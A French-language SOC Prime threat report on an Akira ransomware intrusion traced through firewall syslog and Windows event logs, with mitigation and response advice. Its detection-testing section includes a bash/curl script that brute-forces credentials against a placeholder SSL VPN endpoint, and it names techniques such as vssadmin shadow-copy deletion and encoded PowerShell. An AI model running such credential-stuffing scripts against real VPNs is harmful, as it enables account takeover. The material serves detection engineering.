SOC Prime Bias: Élevé

29 May 2026 07:16 UTC

Traçage d’une chaîne d’attaque du ransomware Akira à travers les journaux de périmètre et de point de terminaison

Author Photo
SOC Prime Team linkedin icon Suivre
Traçage d’une chaîne d’attaque du ransomware Akira à travers les journaux de périmètre et de point de terminaison
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Résumé

L’article décrit une intrusion récente liée à l’opération de ransomware Akira. Les attaquants ont obtenu un accès initial en forçant un compte local SSL VPN désactivé, puis ont poursuivi avec la découverte d’informations d’identification, Kerberoasting, et un mouvement latéral via RDP. Avant de lancer le chiffrement, ils ont effacé les journaux et supprimé les copies shadow. Notamment, toute la séquence était visible à travers les données de syslog du pare-feu et les journaux EVTX de Windows, sans s’appuyer sur des outils de détection des endpoints. Le rapport souligne comment la combinaison des télémétries de périmètre et d’endpoint peut révéler l’activité de ransomware dès ses débuts.

Enquête

L’enquête s’est basée exclusivement sur les journaux de pare-feu SSL VPN et les exports de journaux d’événements Windows collectés sur les contrôleurs de domaine et les serveurs membres. Les IDs d’événements tels que 4624, 4688, 4769, 1102, et 7036 ont été corrélés pour reconstruire la chaîne de destruction complète de l’accès initial jusqu’à l’impact final. Les techniques observées incluaient le bourrage d’informations d’identification, la découverte de domaine, Kerberoasting, l’authentification RDP, le nettoyage des journaux et la suppression des copies shadow. Aucune image mémoire ou télémétrie EDR n’était nécessaire pour cartographier l’intrusion.

Atténuation

Le rapport recommande de renforcer la sécurité des accès à distance, de mettre en place une authentification multifactorielle, de supprimer les comptes désactivés des listes d’accès du pare-feu, et de renforcer les politiques de verrouillage d’authentification. Il conseille également d’activer l’audit détaillé des processus avec l’ID d’événement 4688 sur tous les systèmes, d’augmenter la rétention des journaux de sécurité, et de transférer les journaux critiques vers un stockage externe. Le contenu de détection devrait couvrir spécifiquement les tickets Kerberos basés sur RC4, vssadmin la suppression des copies shadow, et les commandes PowerShell inattendues utilisant -EncodedCommand. La synchronisation temporelle cohérente est également essentielle pour une corrélation fiable.

Réponse

Lorsque l’un des indicateurs identifiés apparaît, les répondants doivent immédiatement isoler le compte VPN compromis et mettre en quarantaine les systèmes affectés. Les journaux pertinents de pare-feu et EVTX doivent être conservés, les informations d’identification réinitialisées, les comptes compromis désactivés, et les copies shadow restaurées à partir des sauvegardes propres lorsque cela est possible. Un examen médico-légal complet doit ensuite être effectué pour identifier toute persistance additionnelle ou activité de suivi, tandis que les procédures de réponse au ransomware sont activées. Les parties prenantes doivent être informées rapidement, et une divulgation publique doit être envisagée lorsque cela est requis.

Flux d’Attaque

Exécution de simulation

Prérequis : Le contrôle pré-vol Telmétrie & Baseline doit avoir réussi.

Rationalisation: Cette section détaille l’exécution précise de la technique de l’adversaire (TTP) conçue pour déclencher la règle de détection. Les commandes et le récit DOIVENT refléter directement les TTPs identifiés et visent à générer la télémétrie exacte attendue par la logique de détection.

  • Narration & Commandes d’attaque :

    1. Reconnaissance (T1087): L’attaquant énumère les noms d’utilisateur depuis un système interne compromis et construit une liste pour le bourrage d’identifiants (par exemple, utilisateurs.txt).
    2. Boucle de Force Brute (T1021.001 / T1078.001): En utilisant une plage d’IP externe compromise appartenant à un fournisseur d’hébergement connu (par ex., 203.0.113.45), l’attaquant lance une série rapide de tentatives d’authentification SSLVPN échouées (≥ 50) en moins d’une heure. Chaque tentative utilise un mot de passe différent de la liste, ciblant un compte victime unique.
    3. Bourrage d’identifiants réussi : Après avoir épuisé la liste, un mot de passe correct est trouvé; l’attaquant se connecte avec succès depuis la même IP, satisfaisant la clause « successful_auth ».
    4. Évasion (Optionnelle – T1070.001) : L’attaquant efface le journal de sécurité sur l’appareil VPN après la connexion réussie pour cacher les traces (non couvert par cette règle).
  • Script de Test de Régression : Script Bash utilisant curl (fonctionne sur une box Linux attaquante). Ajustez les variables pour un environnement réel.

    #!/usr/bin/env bash
    # ------------------------------------------------------------------
    # Simuler une brute-force / bourrage d'identifiants SSLVPN pour déclencher la règle Sigma
    # ------------------------------------------------------------------
    
    VPN_ENDPOINT="https://vpn.example.com/remote/auth"
    USERNAME="utilisateur_victime"
    PASSWORD_LIST="motsdepasse.txt"   # un mot de passe par ligne
    SOURCE_IP="203.0.113.45"        # doit être routable vers le VPN
    
    # Fonction pour effectuer une seule tentative de connexion
    attempt_login() {
        local pwd="$1"
        # Utilisation de --silent pour éviter le désordre; --write-out pour capturer le code HTTP
        curl --silent --output /dev/null --write-out "%{http_code}"
            --user "$USERNAME:$pwd"
            "$VPN_ENDPOINT"
    }
    
    # 1. Générer 55 tentatives échouées (taux ~1/sec)
    echo "Démarrage des tentatives échouées..."
    count=0
    while IFS= read -r pwd && [ $count -lt 55 ]; do
        http_code=$(attempt_login "$pwd")
        echo "Tentative $((count+1)): HTTP $http_code (attendu 401)"
        ((count++))
        sleep 1   # rester dans la fenêtre d'une heure
    done < "$PASSWORD_LIST"
    
    # 2. Connexion réussie avec le bon mot de passe (supposons dernière ligne dans le fichier)
    echo "Réalisation de la connexion réussie..."
    correct_pwd=$(tail -n1 "$PASSWORD_LIST")
    http_code=$(attempt_login "$correct_pwd")
    echo "Tentative réussie: HTTP $http_code (attendu 200)"
    
    echo "Simulation terminée."
  • Commandes de Nettoyage : Supprimez les fichiers temporaires et réinitialisez la limitation des pare-feu si elle a été modifiée.

    #!/usr/bin/env bash
    # Nettoyage après la simulation brute-force SSLVPN
    
    # Supprimez la liste de mots de passe temporaire si elle a été créée à la volée
    if [ -f motsdepasse.txt ]; then
        shred -u motsdepasse.txt
        echo "motsdepasse.txt supprimé"
    fi
    
    # Optez pour réinitialiser les règles iptables temporaires utilisées pour les tests
    sudo iptables -D INPUT -s 203.0.113.45 -j DROP 2>/dev/null || true
    echo "Nettoyage terminé."